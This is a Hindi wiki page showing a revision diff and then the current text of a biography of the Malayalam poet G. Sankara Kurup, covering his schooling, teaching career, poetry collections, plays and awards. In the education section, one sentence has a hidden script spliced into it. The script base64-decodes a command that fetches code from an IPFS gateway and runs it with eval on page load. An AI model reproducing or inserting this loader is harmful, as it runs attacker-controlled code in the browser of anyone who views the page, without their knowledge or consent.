"गोविंद शंकर कुरुप" के अवतरणों में अंतर

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गोविंद शंकर कुरूप का जन्म- 5 [[जून]] [[1901]], नायत्तोट, [[केरल]]; मृत्यु- 2 [[फरवरी]] [[1978]]) [[ज्ञानपीठ पुरस्कार]] से सम्मानित मलयाली भाषा के साहित्यकार थे।  
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==व्यक्तिगत जीवन==
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|चित्र का नाम=गोविंद शंकर कुरुप
अपने मामा ‘गोविंद’ के नाम पर ही उनका नाम गोविंद शंकर कुरूप पड़ा और परिवार में वंश परंपरा मातृकुल से चलने की प्रथा होने के कारण कुलनाम भी कुरुप हुआ। संयोग से उन्ही दिनों नायत्तोट में एक प्राथमिक पाठशाला की स्थापना हुई। बालक कुरुप को वहाँ भर्ती करा दिया गया। गोविंद शंकर ने वहाँ जाकर अनुभव किया कि प्रकृति दृश्य–छवियों को देखकर उनके भीतर स्वत: स्फूर्त एक अरुप और विचित्र सा आलोड़न होता, जिसका अब उसे ज्ञान होने लगा। गोविंद शंकर के जीवन में दो घटनाएं भी उसी समय घटीं, जो यूं तो सामान्य थीं पर कवि शंकर कुरुप की काव्य–चेतना के प्रथम अंकुर फूटने में परोक्ष रूप से सहायक सिद्ध हुई। एक थी उस युग के वरिष्ठ मलयालम कवि कुंजीकुट्टन तंपुरान का नायत्तोट आना और दूसरी थी नौका से तोट्टवाय देवालय जाते हुए उगते [[सूर्य]] के प्रथम स्पर्श से लहरियों के नर्तन का दर्शन।   
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|पूरा नाम=गोविंद शंकर कुरुप
==शिक्षा==
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|अन्य नाम=
बचपन में ही गोविंद के पिता की आशीष-छाया सिर से उठ जाने के बाद उनकी देखरेख और शिक्षा आदि का दायित्व उनके मामा गोविंद कुरुप ने निभाया। गांव की उस प्राथमिक पाठशाला में शिक्षा का प्रबंध तीसरी कक्षा तक ही था। फिर किसी प्रकार व्यवस्था करके बालक कुरुप को सात मील दूर स्थित पेरुंपावूर के मलयालम मिडिल स्कूल भेजा गया। पेरुंपावूर में छात्रावास के जीवन में एक मुक्त वातावरण मिला, जो कवि शंकर की अस्फुट प्रतिभा के जागृत होने में विशेष प्रेरक व सहायक हुआ। वहाँ एक सघंन वन था, जहाँ लता-कुंजों से घिरा भगवती वनदेवी का एक अर्द्धभग्न मंदिर था। नाना पक्षियों का कलरव –कूजन निरंतर चलता रहता था प्रकृति `की उस उन्नमुक्त शोभाराशि से मुग्ध हुए शंकर घंटों घंटों वहाँ बैठे रहते और प्राय: [[संस्कृत]] [[छंद|छंदों]] में फुटकर श्लोकों की रचना करते।  
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सातवीं कक्षा के बाद वह मूवाट्टुपुषा मलयालम हाई स्कूल पहुंचे। वहाँ दो वर्ष रहे, पर ये दो वर्ष उनके विकास की [[दृष्टि]] से अत्यंत महत्त्वपूर्ण और एक प्रकार से दिशा निर्णायक हुए। शंकर कुरुप ने [[कोचीन]] राज्य की ‘पंडित’ परीक्षा पास करके अध्यापन की योग्यता प्राप्त की। दो वर्ष वह यहाँ -वहाँ अध्यापन करते रहे। उनके कविता संग्रह, [[साहित्य]] कौतुकम् के पहले भाग की कुछ कविताएं इसी काल की हैं। पर अपना अभीष्ट उन्हे तब प्राप्त हुआ, जब वह तिरूविल्वामला हाई स्कूल में अध्यापक नियुक्त हुए। [[1921]] से [[1925]] तक शंकर कुरुप तिरूविल्वामला में रहें। प्रकृति के प्रति प्रारंभ में जो एक सहज आकर्षण भाव था, उसने इन चार वर्षो में अन्नय उपासक की भावना का रूप ले लिया। तिरूविल्वामला से कुरुप 1925 में चालाकुटि हाई स्कूल पहुंचे। उसी वर्ष साहित्य कौतुकम का दूसरा भाग प्रकाशित हुआ। [[1931]] में नालें शीर्षक कविता के प्रकाशन ने साहित्य जगत में एक हलचल सी मचा दी। कुछ लोगों ने उसे राजद्रोहात्मक तक कहाँ और उसके कारण महाराजा कॉलेज एर्णाकुलम में प्राध्यापक पद पर उनकी नियुक्ति में भी एक बार बाधा आई। 1937 से 1956 में सेवानिवृत्त होने तक इस कॉलेज में वह मलयालम के प्राध्यापक रहे। यहाँ अवकाश प्राप्त कर लेने के उपरांत वह आकाशवाणी के त्रिवेंद्रम केंद्र में प्रोड्यूसर रहे।  
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==काव्य कृति ==
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काव्य कृति ओट्क्कुषठ का प्रथम संस्करण [[1950]] में प्रकाशित हुआ था। इसके मूल रुप में 60 कविताएं थीं। वर्तमान रुप में 58 हैं। इन कविताओं के माध्यम से कवि के विभिन्न रूप भावों का परिचय मिलता है। कवि प्रकृति और उसकी [[शिव]] सुंदर रहस्यमयता की अनुभूति में प्रकृति के कण- कण और क्षण-क्षण की मुग्धकारी सौंदर्य छवि में परा चेतनशक्ति का आभास प्राप्त करता है। उसे जैसे साक्षात प्रतीति होती है, कि विराट प्रकृति और वह स्वयं एक अनादि व अनंत चैतन्य के अंश है। कई उत्कृष्ट प्रेम कविताएं इसमें सम्मिलित है। लेकिन यह प्रेम भी नर–नारी का नहीं प्रकृति और निखिल [[ब्रह्म]]–चेतना का है, जिसका यह संपूर्ण सृष्टिचक्र प्रतिफलन है।  
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महाकवि गोविंद शंकर कुरुप की 40 से अधिक मौलिक और अनूदित कृतियाँ प्रकाशित है।  
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'''गोविंद शंकर कुरुप''' ([[अंग्रेज़ी]]: ''Govind Sankara Kurup'', जन्म- [[5 जून]], [[1901]], नायत्तोट, [[केरल]]; मृत्यु- [[2 फ़रवरी]], [[1978]]) '[[ज्ञानपीठ पुरस्कार]]' से सम्मानित [[मलयाली भाषा]] के एक प्रसिद्ध साहित्यकार थे। उन्होंने [[कोचीन]] राज्य की 'पंडित' परीक्षा पास करके अध्यापन की योग्यता प्राप्त की थी। उसके बाद दो वर्ष तक वे यहाँ-वहाँ अध्यापन कार्य भी करते रहे थे। 'महाकवि' गोविंद शंकर कुरुप की 40 से अधिक मौलिक और अनूदित कृतियाँ प्रकाशित हो चुकी हैं।
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==जन्म==
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गोविंद शंकर कुरुप का जन्म 5 जून, 1901 ई. को केरल के नायत्तोट नामक स्थान पर हुआ था। अपने मामा ‘गोविंद’ के नाम पर ही उनका नाम 'गोविंद शंकर कुरूप पड़ा'। परिवार में वंश परंपरा मातृकुल से चलने की प्रथा होने के कारण इनका कुलनाम भी 'कुरुप' हुआ। संयोग से उन्हीं दिनों नायत्तोट में एक प्राथमिक पाठशाला की स्थापना हुई। बालक कुरुप को वहाँ भर्ती करा दिया गया। गोविंद शंकर ने वहाँ जाकर अनुभव किया कि प्राकृतिक दृश्य-छवियों को देखकर उनके भीतर स्वत: स्फूर्त एक अरुप और विचित्र-सा आलोड़न होता है, जिसका अब उन्हें ज्ञान होने लगा था। गोविंद शंकर के जीवन में दो घटनाएँ भी उसी समय घटीं, जो यूँ तो सामान्य थीं, पर कवि शंकर कुरुप की काव्य–चेतना के प्रथम अंकुर फूटने में परोक्ष रूप से सहायक सिद्ध हुई। एक थी उस युग के वरिष्ठ मलयालम कवि कुंजीकुट्टन तंपुरान का नायत्तोट आना और दूसरी थी, नौका से तोट्टवाय देवालय जाते हुए उगते [[सूर्य]] के प्रथम स्पर्श से लहरियों के नर्तन का दर्शन।   
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====शिक्षा====
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बचपन में ही गोविंद शंकर के [[पिता]] की आशीष-छाया सिर से उठ जाने के बाद उनकी देखरेख और शिक्षा आदि का दायित्व उनके मामा गोविंद कुरुप ने निभाया। गांव की उस प्राथमिक पाठशाला में शिक्षा का प्रबंध तीसरी कक्षा तक ही था। फिर किसी प्रकार व्यवस्था करके बालक कुरुप को 7 मील {{मील|मील=7}} दूर स्थित [[पेरुंपावूर]] के मलयालम मिडिल स्कूल भेजा गया। पेरुंपावूर में छात्रावास के जीवन में एक मुक्त वातावरण मिला, जो कवि शंकर की अस्फुट प्रतिभा के जागृत होने में विशेष प्रेरक व सहायक हुआ। वहाँ एक सघंन वन था, जहाँ लता-कुंजों से घिरा भगवती वनदेवी का एक अर्द्धभग्न मंदिर था। नाना पक्षियों का कलरव–कूजन निरंतर चलता रहता था। प्रकृति `की उस उन्नमुक्त शोभाराशि से मुग्ध हुए शंकर घंटों-घंटों वहाँ बैठे रहते और प्राय: [[संस्कृत]] [[छंद|छंदों]] में फुटकर [[श्लोक|श्लोकों]] की रचना करते। सातवीं कक्षा के गोविंद शंकर जी मूवाट्टुपुषा मलयालम हाईस्कूल पहुंचे। वहाँ दो वर्ष रहे, पर ये दो वर्ष उनके विकास की [[दृष्टि]] से अत्यंत महत्त्वपूर्ण और एक प्रकार से दिशा निर्णायक सिद्ध हुए।
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==व्यावसायिक शुरुआत==
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शंकर कुरुप ने [[कोचीन]] राज्य की ‘पंडित’ परीक्षा पास करके अध्यापन की योग्यता प्राप्त की। वह दो वर्ष तक यहाँ-वहाँ अध्यापन का काम भी करते रहे। उनके कविता संग्रह, [[साहित्य]] कौतुकम् के पहले भाग की कुछ कविताएँ इसी काल की हैं। पर अपना अभीष्ट उन्हें तब प्राप्त हुआ, जब वह तिरूविल्वामला हाई स्कूल में अध्यापक नियुक्त हुए। [[1921]] से [[1925]] तक शंकर कुरुप तिरूविल्वामला में रहें। प्रकृति के प्रति प्रारंभ में जो एक सहज आकर्षण भाव था, उसने इन चार वर्षों में अन्नय उपासक की भावना का रूप ले लिया। तिरूविल्वामला से कुरुप 1925 में [[चालाकुटि]] हाईस्कूल पहुंचे। उसी वर्ष 'साहित्य कौतुकम' का दूसरा भाग प्रकाशित हुआ। [[1931]] में 'नालें' शीर्षक कविता के प्रकाशन ने [[साहित्य]] जगत् में एक हलचल-सी मचा दी। कुछ लोगों ने उसे राजद्रोहात्मक तक कहा और उसके कारण 'महाराजा कॉलेज', [[एर्णाकुलम]] में प्राध्यापक पद पर उनकी नियुक्ति में भी एक बार बाधा आई। [[1937]] से [[1956]] में सेवानिवृत्त होने तक इस कॉलेज में वह मलयालम के प्राध्यापक रहे। यहाँ अवकाश प्राप्त कर लेने के उपरांत वह आकाशवाणी के [[त्रिवेंद्रम]] केंद्र में प्रोड्यूसर रहे।
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==काव्य कृति==
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गोविंद शंकर कुरुप की काव्य कृति 'ओट्क्कुषठ' का प्रथम संस्करण वर्ष [[1950]] में प्रकाशित हुआ था। इसके मूल रूप में 60 कविताएँ थीं। वर्तमान रूप में 58 कविताएँ हैं। इन कविताओं के माध्यम से [[कवि]] के विभिन्न रूप भावों का परिचय मिलता है। कवि प्रकृति और उसकी शिव सुंदर रहस्यमयता की अनुभूति में प्रकृति के कण-कण और क्षण-क्षण की मुग्धकारी सौंदर्य छवि में परा चेतनशक्ति का आभास प्राप्त करता है। उसे जैसे साक्षात प्रतीति होती है, कि विराट प्रकृति और वह स्वयं एक अनादि व अनंत चैतन्य के अंश है। कई उत्कृष्ट प्रेम कविताएँ इसमें सम्मिलित है। लेकिन यह प्रेम भी नर–नारी का नहीं प्रकृति और निखिल ब्रह्म–चेतना का है, जिसका यह संपूर्ण सृष्टिचक्र प्रतिफलन है।
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====कविता संग्रह====
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'महाकवि' गोविंद शंकर कुरुप की 40 से अधिक मौलिक और अनूदित कृतियाँ प्रकाशित है। उनके लिखे कुछ कविता संग्रह निम्नलिखित हैं-
 
*साहित्य कौतुकम,  
 
*साहित्य कौतुकम,  
*चार खंड ([[1923]]-29)  
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*चार खंड ([[1923]]-[[1929]])  
 
*सूर्यकांति ([[1932]])  
 
*सूर्यकांति ([[1932]])  
 
*ओट्क्कुषठ ([[1950]])  
 
*ओट्क्कुषठ ([[1950]])  
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*जीवनसंगीतम् ([[1964]])  
 
*जीवनसंगीतम् ([[1964]])  
 
*पाथेयम ([[1961]])  
 
*पाथेयम ([[1961]])  
*गद्य-गद्योपहारम् ([[1940]],
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*गद्य-गद्योपहारम् ([[1940]])
 
*लेखमाल ([[1943]])
 
*लेखमाल ([[1943]])
<u>'''नाटक'''</u>
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====नाटक====
 
*संध्य ([[1944]]),  
 
*संध्य ([[1944]]),  
 
*इरूट्टिनु मुंपु ([[1935]])
 
*इरूट्टिनु मुंपु ([[1935]])
 
==सम्मान==
 
==सम्मान==
शंकर कुरुप को [[साहित्य अकादमी पुरस्कार]] (1963) और [[ज्ञानपीठ पुरस्कार]] ([[1965]]) से सम्मानित किया गया।  
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'''गोविंद शंकर कुरुप''' को साहित्य अकादमी पुरस्कार ([[1963]]) और [[ज्ञानपीठ पुरस्कार]] ([[1965]]) से सम्मानित किया गया।  
  
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==टीका टिप्पणी और संदर्भ==
 
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05:32, 2 फ़रवरी 2018 के समय का अवतरण

गोविंद शंकर कुरुप
गोविंद शंकर कुरुप
पूरा नाम गोविंद शंकर कुरुप
जन्म 5 जून, 1901
जन्म भूमि नायत्तोट, केरल
मृत्यु 2 फ़रवरी, 1978
कर्म भूमि भारत
कर्म-क्षेत्र साहित्य
मुख्य रचनाएँ साहित्य कौतुकम, विश्वदर्शनम, लेखमाल, जीवनसंगीतम्, संध्य, इरूट्टिनु मुंपु आदि।
भाषा मलयालम
पुरस्कार-उपाधि 'साहित्य अकादमी पुरस्कार' (1963) और 'ज्ञानपीठ पुरस्कार' (1965)
प्रसिद्धि साहित्यकार
नागरिकता भारतीय
इन्हें भी देखें कवि सूची, साहित्यकार सूची

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गोविंद शंकर कुरुप (अंग्रेज़ी: Govind Sankara Kurup, जन्म- 5 जून, 1901, नायत्तोट, केरल; मृत्यु- 2 फ़रवरी, 1978) 'ज्ञानपीठ पुरस्कार' से सम्मानित मलयाली भाषा के एक प्रसिद्ध साहित्यकार थे। उन्होंने कोचीन राज्य की 'पंडित' परीक्षा पास करके अध्यापन की योग्यता प्राप्त की थी। उसके बाद दो वर्ष तक वे यहाँ-वहाँ अध्यापन कार्य भी करते रहे थे। 'महाकवि' गोविंद शंकर कुरुप की 40 से अधिक मौलिक और अनूदित कृतियाँ प्रकाशित हो चुकी हैं।

जन्म

गोविंद शंकर कुरुप का जन्म 5 जून, 1901 ई. को केरल के नायत्तोट नामक स्थान पर हुआ था। अपने मामा ‘गोविंद’ के नाम पर ही उनका नाम 'गोविंद शंकर कुरूप पड़ा'। परिवार में वंश परंपरा मातृकुल से चलने की प्रथा होने के कारण इनका कुलनाम भी 'कुरुप' हुआ। संयोग से उन्हीं दिनों नायत्तोट में एक प्राथमिक पाठशाला की स्थापना हुई। बालक कुरुप को वहाँ भर्ती करा दिया गया। गोविंद शंकर ने वहाँ जाकर अनुभव किया कि प्राकृतिक दृश्य-छवियों को देखकर उनके भीतर स्वत: स्फूर्त एक अरुप और विचित्र-सा आलोड़न होता है, जिसका अब उन्हें ज्ञान होने लगा था। गोविंद शंकर के जीवन में दो घटनाएँ भी उसी समय घटीं, जो यूँ तो सामान्य थीं, पर कवि शंकर कुरुप की काव्य–चेतना के प्रथम अंकुर फूटने में परोक्ष रूप से सहायक सिद्ध हुई। एक थी उस युग के वरिष्ठ मलयालम कवि कुंजीकुट्टन तंपुरान का नायत्तोट आना और दूसरी थी, नौका से तोट्टवाय देवालय जाते हुए उगते सूर्य के प्रथम स्पर्श से लहरियों के नर्तन का दर्शन।

शिक्षा

बचपन में ही गोविंद शंकर के पिता की आशीष-छाया सिर से उठ जाने के बाद उनकी देखरेख और शिक्षा आदि का दायित्व उनके मामा गोविंद कुरुप ने निभाया। गांव की उस प्राथमिक पाठशाला में शिक्षा का प्रबंध तीसरी कक्षा तक ही था। फिर किसी प्रकार व्यवस्था करके बालक कुरुप को 7 मील (लगभग 11.2 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> दूर स्थित पेरुंपावूर के मलयालम मिडिल स्कूल भेजा गया। पेरुंपावूर में छात्रावास के जीवन में एक मुक्त वातावरण मिला, जो कवि शंकर की अस्फुट प्रतिभा के जागृत होने में विशेष प्रेरक व सहायक हुआ। वहाँ एक सघंन वन था, जहाँ लता-कुंजों से घिरा भगवती वनदेवी का एक अर्द्धभग्न मंदिर था। नाना पक्षियों का कलरव–कूजन निरंतर चलता रहता था। प्रकृति `की उस उन्नमुक्त शोभाराशि से मुग्ध हुए शंकर घंटों-घंटों वहाँ बैठे रहते और प्राय: संस्कृत छंदों में फुटकर श्लोकों की रचना करते। सातवीं कक्षा के गोविंद शंकर जी मूवाट्टुपुषा मलयालम हाईस्कूल पहुंचे। वहाँ दो वर्ष रहे, पर ये दो वर्ष उनके विकास की दृष्टि से अत्यंत महत्त्वपूर्ण और एक प्रकार से दिशा निर्णायक सिद्ध हुए।

व्यावसायिक शुरुआत

शंकर कुरुप ने कोचीन राज्य की ‘पंडित’ परीक्षा पास करके अध्यापन की योग्यता प्राप्त की। वह दो वर्ष तक यहाँ-वहाँ अध्यापन का काम भी करते रहे। उनके कविता संग्रह, साहित्य कौतुकम् के पहले भाग की कुछ कविताएँ इसी काल की हैं। पर अपना अभीष्ट उन्हें तब प्राप्त हुआ, जब वह तिरूविल्वामला हाई स्कूल में अध्यापक नियुक्त हुए। 1921 से 1925 तक शंकर कुरुप तिरूविल्वामला में रहें। प्रकृति के प्रति प्रारंभ में जो एक सहज आकर्षण भाव था, उसने इन चार वर्षों में अन्नय उपासक की भावना का रूप ले लिया। तिरूविल्वामला से कुरुप 1925 में चालाकुटि हाईस्कूल पहुंचे। उसी वर्ष 'साहित्य कौतुकम' का दूसरा भाग प्रकाशित हुआ। 1931 में 'नालें' शीर्षक कविता के प्रकाशन ने साहित्य जगत् में एक हलचल-सी मचा दी। कुछ लोगों ने उसे राजद्रोहात्मक तक कहा और उसके कारण 'महाराजा कॉलेज', एर्णाकुलम में प्राध्यापक पद पर उनकी नियुक्ति में भी एक बार बाधा आई। 1937 से 1956 में सेवानिवृत्त होने तक इस कॉलेज में वह मलयालम के प्राध्यापक रहे। यहाँ अवकाश प्राप्त कर लेने के उपरांत वह आकाशवाणी के त्रिवेंद्रम केंद्र में प्रोड्यूसर रहे।

काव्य कृति

गोविंद शंकर कुरुप की काव्य कृति 'ओट्क्कुषठ' का प्रथम संस्करण वर्ष 1950 में प्रकाशित हुआ था। इसके मूल रूप में 60 कविताएँ थीं। वर्तमान रूप में 58 कविताएँ हैं। इन कविताओं के माध्यम से कवि के विभिन्न रूप भावों का परिचय मिलता है। कवि प्रकृति और उसकी शिव सुंदर रहस्यमयता की अनुभूति में प्रकृति के कण-कण और क्षण-क्षण की मुग्धकारी सौंदर्य छवि में परा चेतनशक्ति का आभास प्राप्त करता है। उसे जैसे साक्षात प्रतीति होती है, कि विराट प्रकृति और वह स्वयं एक अनादि व अनंत चैतन्य के अंश है। कई उत्कृष्ट प्रेम कविताएँ इसमें सम्मिलित है। लेकिन यह प्रेम भी नर–नारी का नहीं प्रकृति और निखिल ब्रह्म–चेतना का है, जिसका यह संपूर्ण सृष्टिचक्र प्रतिफलन है।

कविता संग्रह

'महाकवि' गोविंद शंकर कुरुप की 40 से अधिक मौलिक और अनूदित कृतियाँ प्रकाशित है। उनके लिखे कुछ कविता संग्रह निम्नलिखित हैं-

  • साहित्य कौतुकम,
  • चार खंड (1923-1929)
  • सूर्यकांति (1932)
  • ओट्क्कुषठ (1950)
  • अंतर्दाह (1953)
  • विश्वदर्शनम (1960)
  • जीवनसंगीतम् (1964)
  • पाथेयम (1961)
  • गद्य-गद्योपहारम् (1940)
  • लेखमाल (1943)

नाटक

  • संध्य (1944),
  • इरूट्टिनु मुंपु (1935)

सम्मान

गोविंद शंकर कुरुप को साहित्य अकादमी पुरस्कार (1963) और ज्ञानपीठ पुरस्कार (1965) से सम्मानित किया गया।


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टीका टिप्पणी और संदर्भ

संबंधित लेख

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